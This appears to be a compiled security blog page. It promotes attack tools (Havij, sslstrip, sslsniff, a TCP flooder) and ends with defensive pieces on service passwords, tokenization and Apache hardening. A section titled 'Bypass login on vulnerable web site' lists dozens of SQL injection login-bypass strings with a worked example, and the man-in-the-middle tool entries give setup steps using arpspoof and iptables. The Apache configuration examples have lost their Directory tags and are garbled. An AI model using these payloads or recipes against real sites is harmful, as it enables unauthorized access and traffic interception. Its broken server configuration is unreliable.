Advanced Automated SQL Injection Tool - Havij

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.

It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system.

The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injection vulnerable targets using Havij.

The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.

There is a free version available and also a more fully-featured commercial edition available also.

You can download Havij v1.12 Free Edition from below location:

Download

Webshag web server audit too

Introduction

Webshag is a multi-threaded, multi-platform web server audit tool. Written in Python, it gathers commonly useful functionalities for web server auditing like website crawling, URL scanning or file fuzzing.

Webshag can be used to scan a web server in HTTP or HTTPS, through a proxy and using HTTP authentication (Basic and Digest). In addition to that it proposes innovative IDS evasion functionalities aimed at making correlation between request more complicated (e.g. use a different random per request HTTP proxy server).

It also provides innovative functionalities like the capability of retrieving the list of domain names hosted on a target machine and file fuzzing using dynamically generated filenames (in addition to common list-based fuzzing).

Webshag URL scanner and file fuzzer are aimed at reducing the number of false positives and thus producing cleaner result sets. For this purpose, webshag implements a web page fingerprinting mechanism resistant to content changes. This fingerprinting mechanism is then used in a false positive removal algorithm specially aimed at dealing with "soft 404" server responses. Webshag provides a full featured and intuitive graphical user interface as well as a text-based command line interface and is available for Linux and Windows platforms, under GPL license.
Requirements
To be fully functional, webshag requires the following elements:

- Python 2.5 or Python 2.6 (NOT compatible with Python 3.0)
- wxPython 2.8.9.0 (or greater) GUI toolkit
- Nmap port scanner (for port scanning module only)
- A valid Live Search AppID (for domain information module only)

Note: to use installer on Windows Vista, please refer to user manual.

Code: http://www.scrt.ch/pages_en/outils.html
 

Bypass login on vulnerable web site

For those of you who dont already know SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a backend database. Attackers take advantage of the fact that programmers often chain together SQL commands with user provided parameters, and can therefore embed SQL commands inside these parameters. The result is that the attacker can execute arbitrary SQL queries and commands on the backend database server through the Web application.

A database is a table full of private and public site information such as usernames, products, etc. They are fundamental components of Web applications. Databases enable Web applications to store data, preferences and content elements. Using SQL web applications interact with databases to dynamically build customized data views for each user.

Data types:
mysql.user
mysql.host
mysql.db

SQL commands:
ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database

Bypassing login scripts:
SQL injection strings and the DB doesnt matter.

') OR ('a' = 'a
') OR ('1'-'1
'or''='
' OR '1=1
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 *
" or 0=0 *
or 0=0 *
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or 1=1--
or a=a--
' or 1=1--
1' having '1'='1'--
' or 'x'='x--
foo'+OR+'1'='1

Note: having 1=1--

Example:

Login: hi'or 1=1--
Password: hi'or 1=1--

Note: you can replace these with the following codes above

sslstrip

This tool provides a demonstration of the HTTPS stripping attacks. It will transparently hijack HTTP traffic on a network, watch for HTTPS links and redirects, then map those links into either look-alike HTTP links or homograph-similar HTTPS links. It also supports modes for supplying a favicon which looks like a lock icon, selective logging, and session denial.
To get this running:

Flip your machine into forwarding mode.
Setup iptables to redirect HTTP traffic to sslstrip.
Run sslstrip.
Run arpspoof to convince a network they should send their traffic to you.

Link:- SSLStrip

sslsniff

This tool was originally written to demonstrate and exploit IE's vulnerability to a specific man-in-the-middle attack. While Microsoft has since fixed the vulnerability that allowed leaf certificates to act as signing certificates, this tool is still occasionally useful for other purposes. It is designed to MITM all SSL connections on a LAN, and dynamically generates certs for the domains that are being accessed on the fly. The new certificates are constructed in a certificate chain that is signed by any certificate that you provide.

For a long time this was still useful in its original context with the default certificate that was provided, as certificates that were generated by non-singing certificates that were expired would trigger a click-through warning in some browsers which indicated the certificate in question was expired, but not that the whole certificate chain was completely invalid. These days some browsers, specifically Firefox 3, are more heavy-handed.

It is useful for deploying other vulnerabilities as well, some of which are public knowledge. This is the tool that the people who pulled the recent MD5 hash collision publicity stunt used to demonstrate MITM attacks with their rogue CA-certificate.

The three steps to get this running are:
Download and run sslsniff-0.5.tar.gz
Setup iptables
Run arp-spoof

LetDown TCP Flooder, ReverseRaider Subdomain Scanner & Httsquash HTTP Server Scanner Tool

An interesting collection of tools for pen-testing including a DoS tool (something you don’t often see publicly released).

Complemento is a collection of tools that the author originally created for his own personal toolchain for solving some problems or just for fun. Now he has decided to release it to the public.

LetDown is a TCP flooder written after the author read the article by fyodor entitled article “TCP Resource Exhaustion and Botched Disclosure“.

ReverseRaider is a domain scanner that uses brute force wordlist scanning for finding a target sub-domains or reverse resolution for a range of ip addresses. This is similar to some of the functionality in DNSenum.

Httsquash is an HTTP server scanner, banner grabber and data retriever. It can be used for scanning large ranges of IP addresses and finding devices or HTTP servers (there is an alpha version of a GUI for this).

You can download Complemento v0.4b here:
complemento-0.4b
Or read more here.

Big Issue- The Never Expiring Password

It seems that many if not all IT Auditors, CSOs, and IT security staff, live daily with the fear of the “never expiring password” being exposed. It is the unspoken taboo – the wide open back door in every corporate network today. It is virtually certain that there is not a single business critical application in your company that isn’t wide open. Do you ever wonder how it is that information such as credit card details, personal data, intellectual property, seems to always be so vulnerable. You would think that companies had adequate security precautions to stop this happening, and yet it continues to be a problem.

So where is this wide open back door? In every one of your applications.

When, for example, a user accesses a web based application through a Portal, behind the scenes an awful lot of activity takes place to present the information to the user. This information is stored on systems and databases in your organisation. In order to access these resources, the Portal uses service accounts created on the systems to access the data.

The challenge of securing, managing and sharing the service accounts becomes a major overhead issue for IT departments and application managers in your organisation. The Service Account Passwords that enable applications to communicate with each other must also be managed as they present one of the biggest security backdoors.

In order for these applications to get access to data, they have to “logon” to the systems and applications that store the data, and since the credentials to logon are in the application, they are embedded in the code. Now since it is clearly impractical to rewrite applications on a regular basis, just to change the user ID and password, the result is that the user ID and password never changes. So what’s the big deal you might ask? Well there are a number of things.

Firstly you have the problem of the never expiring password on a system which is accessible by administrators and anyone else who might have privileged access to a system. The problem is more acute when a company is relying on hosting services from a third party. Your applications are accessing valuable business critical data thousands of times a day, using the same user ID and password. In fact there might very well be hundreds of applications all accessing using the same credentials. And since the applications do not have any integrated security such as VPN technology, the passwords to these accounts are often stored in clear text (not encrypted), thus becoming visible to developers, support staff and anyone that has access to the application code.

Secondly because these passwords are often hard coded within the applications/scripts, a reset of a Service Account password becomes a complex process involving changes to application code, compilation, and in some cases a long process of transferring the code from development to QA to production. In some cases this change might result in or require downtime for the application, a scenario that is unacceptable in cases of confidential information.

Thirdly auditing is virtually impossible. Because the credentials that are embedded in the application, although in theory only accessible to the application they can actually be used by any developer who has access to the code. So if for example a person was to log in using the credentials, it would be impossible to discover this through a simple audit check.

Finally the most serious aspect of this is that this user ID and password is known by developers and support staff and can be used for personal access to the resources. And in many cases today those credentials are know by off-shore developers who have been contracted to develop the applications for your organisation. So access to your business data is ultimately in the hands of developers who may be thousands of miles away.

It is likely that your organisation has gone to unprecedented efforts to secure your access as a user, using all kinds of innovative technology from tokens to digital certificates, and at the same time forgetting or possibly choosing to ignore that unauthorized personnel including ex-employees, MSP staff, off-shore developers, have the keys to open up your most valuable assets.The good news is that there are solutions available that will allow you to once and for all face up to this unspoken taboo and eliminate this threat.

The solution is digital vaulting technology. It means that no organisation today needs to feel a sense of being exposed to risks in this area. Regardless of the platform, the technology is available today to ensure that all your applications will never again require the never expiring password, but the first step in solving the problem is to face up to the unspoken taboo in your organisation and do something about it.

Data encryption & Tokenization Truths

Data encryption truths
Truth 1: If you encrypt data and lose the encryption key, the data is lost forever. There is
no way to get it back.
Truth 2: If you encrypt data and don!t control access to the keys, you haven!t secured the
data at all.
Truth 3: The fewer places you store the sensitive data, the better.

Tokenization truths
Truth 1: While field sizes increase when encrypting data; token size can follow the same
size and format of the original data field.
Truth 2: Using tokens in place of actual credit card numbers or other sensitive data can reduce
the scope of risk by limiting the number of places ciphertext resides.
Truth 3: Tokens can be used as indexes in key table relationships within databases, while
ciphertext cannot.
Truth 4: For instances where employees do not need to see the full encrypted value, using
mask-preserving token values in place of encrypted data reduces the scope of risk.
Truth 5: There is one-to-one relationship between the data value and token throughout
the enterprise, preserving referential integrity.

The fewer places you store the sensitive data, the better. Token server attributes and best practices Tokenization provides numerous benefits to organizations that need to protect sensitive and confidential information. Fortunately, token servers that support best practices are emerging to make it easier for enterprises to implement tokenization.

Look for a token server with the following attributes:
• Reduces risk - Tokenization creates a central, protected data silo where sensitive data is
encrypted and stored. Using a token server should greatly reduce the footprint where sensitive
data is located and eliminate points of risk.
• No application modification - Token servers generate tokens that act as surrogates for
sensitive data wherever it resides. Tokens maintain the length and format of the original
data so that applications don!t require modification.
• Referential integrity - Token servers enforce a strict one-to-one relationship between
tokens and data values so that they can be used as foreign keys and so referential integrity
can be assured whenever an encrypted field is present across multiple applications and data sets.
• Control and flexibility - The best token servers will give IT complete control of the
token-generation strategy. For example, the last four digits of the data can be preserved in
the token, allowing the token to support many common use-cases.
• Streamlines regulatory compliance - A token server enables organizations to narrow
the scope of systems, applications and processes that need to be audited for compliance
with mandates such as PCI DSS.

Source:-  InSecure & nuBridges

Free fuzzing utility for Oracle database applications

Sentrigo announced FuzzOr, an open source fuzzing tool for Oracle databases designed to identify vulnerabilities found in software applications written in PL/SQL code. The new utility allows PL/SQL programmers, database administrators (DBAs) and security professionals to
identify and repair vulnerabilities that may be exploited via SQL injection and buffer overflow attacks—the most common techniques used by malicious hackers to launch attacks on databases.

FuzzOr runs on Oracle database versions 8i and above to identify coding errors. A dynamic
scanning tool, FuzzOr enables DBAs and security pros to test PL/SQL code inside Oracle-stored
program units. Once vulnerabilities are detected by FuzzOr, a programmer can then repair the
PL/SQL code.

Download : https://www.sentrigo.com/register_for_fuzzor.htm

Apache Security Tips

Keep up to Date
The Apache HTTP Server has a good record for security and a developer community highly concerned about security issues. But it is inevitable that some problems -- small or large -- will be discovered in software after it is released. For this reason, it is crucial to keep aware of updates to the software. If you have obtained your version of the HTTP Server directly from Apache, we highly recommend you subscribe to the Apache HTTP Server Announcements List where you can keep informed of new releases and security updates. Similar services are available from most third-party distributors of Apache software.

Of course, most times that a web server is compromised, it is not because of problems in the HTTP Server code. Rather, it comes from problems in add-on code, CGI scripts, or the underlying Operating System. You must therefore stay aware of problems and updates with all the software on your system.

Permissions on ServerRoot Directories
In typical operation, Apache is started by the root user, and it switches to the user defined by the User directive to serve hits. As is the case with any command that root executes, you must take care that it is protected from modification by non-root users. Not only must the files themselves be writeable only by root, but so must the directories, and parents of all directories. For example, if you choose to place ServerRoot in /usr/local/apache then it is suggested that you create that directory as root, with commands like these:

mkdir /usr/local/apache
cd /usr/local/apache
mkdir bin conf logs
chown 0 . bin conf logs
chgrp 0 . bin conf logs
chmod 755 . bin conf logs

It is assumed that /, /usr, and /usr/local are only modifiable by root. When you install the httpd executable, you should ensure that it is similarly protected:

cp httpd /usr/local/apache/bin
chown 0 /usr/local/apache/bin/httpd
chgrp 0 /usr/local/apache/bin/httpd
chmod 511 /usr/local/apache/bin/httpd

can create an htdocs subdirectory which is modifiable by other users -- since root never executes any files out of there, and shouldn't be creating files in there.

If you allow non-root users to modify any files that root either executes or writes on then you open your system to root compromises. For example, someone could replace the httpd binary so that the next time you start it, it will execute some arbitrary code. If the logs directory is writeable (by a non-root user), someone could replace a log file with a symlink to some other system file, and then root might overwrite that file with arbitrary data. If the log files themselves are writeable (by a non-root user), then someone may be able to overwrite the log itself with bogus data.

Server Side Includes
Server Side Includes (SSI) present a server administrator with several potential security risks.
The first risk is the increased load on the server. All SSI-enabled files have to be parsed by Apache, whether or not there are any SSI directives included within the files. While this load increase is minor, in a shared server environment it can become significant.

SSI files also pose the same risks that are associated with CGI scripts in general. Using the exec cmd element, SSI-enabled files can execute any CGI script or program under the permissions of the user and group Apache runs as, as configured in httpd.conf.

There are ways to enhance the security of SSI files while still taking advantage of the benefits they provide.

To isolate the damage a wayward SSI file can cause, a server administrator can enable suexec as described in the CGI in General section.

Enabling SSI for files with .html or .htm extensions can be dangerous. This is especially true in a shared, or high traffic, server environment. SSI-enabled files should have a separate extension, such as the conventional .shtml. This helps keep server load at a minimum and allows for easier management of risk.

Another solution is to disable the ability to run scripts and programs from SSI pages. To do this replace Includes with IncludesNOEXEC in the Options directive. Note that users may still use <--#include virtual="..." --> to execute CGI scripts if these scripts are in directories designated by a ScriptAlias directive.

CGI in General
First of all, you always have to remember that you must trust the writers of the CGI scripts/programs or your ability to spot potential security holes in CGI, whether they were deliberate or accidental. CGI scripts can run essentially arbitrary commands on your system with the permissions of the web server user and can therefore be extremely dangerous if they are not carefully checked.

All the CGI scripts will run as the same user, so they have potential to conflict (accidentally or deliberately) with other scripts e.g. User A hates User B, so he writes a script to trash User B's CGI database. One program which can be used to allow scripts to run as different users is suEXEC which is included with Apache as of 1.2 and is called from special hooks in the Apache server code. Another popular way of doing this is with CGIWrap.

Non Script Aliased CGI
Allowing users to execute CGI scripts in any directory should only be considered if:
You trust your users not to write scripts which will deliberately or accidentally expose your system to an attack.

You consider security at your site to be so feeble in other areas, as to make one more potential hole irrelevant.

You have no users, and nobody ever visits your server.

Script Aliased CGI
Limiting CGI to special directories gives the admin control over what goes into those directories. This is inevitably more secure than non script aliased CGI, but only if users with write access to the directories are trusted or the admin is willing to test each new CGI script/program for potential security holes.

Most sites choose this option over the non script aliased CGI approach.

Other sources of dynamic content
Embedded scripting options which run as part of the server itself, such as mod_php, mod_perl, mod_tcl, and mod_python, run under the identity of the server itself (see the User directive), and therefore scripts executed by these engines potentially can access anything the server user can. Some scripting engines may provide restrictions, but it is better to be safe and assume not.

Protecting System Settings
To run a really tight ship, you'll want to stop users from setting up .htaccess files which can override security features you've configured. Here's one way to do it.

In the server configuration file, put


AllowOverride None


This prevents the use of .htaccess files in all directories apart from those specifically enabled.

Protect Server Files by Default
One aspect of Apache which is occasionally misunderstood is the feature of default access. That is, unless you take steps to change it, if the server can find its way to a file through normal URL mapping rules, it can serve it to clients.

For instance, consider the following example:

# cd /; ln -s / public_html
Accessing http://localhost/~root/

This would allow clients to walk through the entire filesystem. To work around this, add the following block to your server's configuration:

Order Deny,Allow Deny from all


This will forbid default access to filesystem locations. Add appropriate Directory blocks to allow access only in those areas you wish.
For example,

Order Deny,Allow
Allow from all


Order Deny,Allow
Allow from all


Pay particular attention to the interactions of Location and Directory directives; for instance, even if denies access, a directive might overturn it.

Also be wary of playing games with the UserDir directive; setting it to something like ./ would have the same effect, for root, as the first example above. If you are using Apache 1.3 or above, we strongly recommend that you include the following line in your server configuration files:

UserDir disabled root

Watching Your Logs
To keep up-to-date with what is actually going on against your server you have to check the Log Files. Even though the log files only reports what has already happened, they will give you some understanding of what attacks is thrown against the server and allow you to check if the necessary level of security is present.

A couple of examples:
grep -c "/jsp/source.jsp?/jsp/ /jsp/source.jsp??" access_log
grep "client denied" error_log tail -n 10

The first example will list the number of attacks trying to exploit the Apache Tomcat Source.JSP Malformed Request Information Disclosure Vulnerability, the second example will list the ten last denied clients, for example:

[Thu Jul 11 17:18:39 2002] [error] [client foo.bar.com] client denied by server configuration: /usr/local/apache/htdocs/.htpasswd

As you can see, the log files only report what already has happened, so if the client had been able to access the .htpasswd file you would have seen something similar to:

foo.bar.com - - [12/Jul/2002:01:59:13 +0200] "GET /.htpasswd HTTP/1.1"
in your Access Log.
This means you probably commented out the following in your server configuration file:


Order allow,deny
Deny from all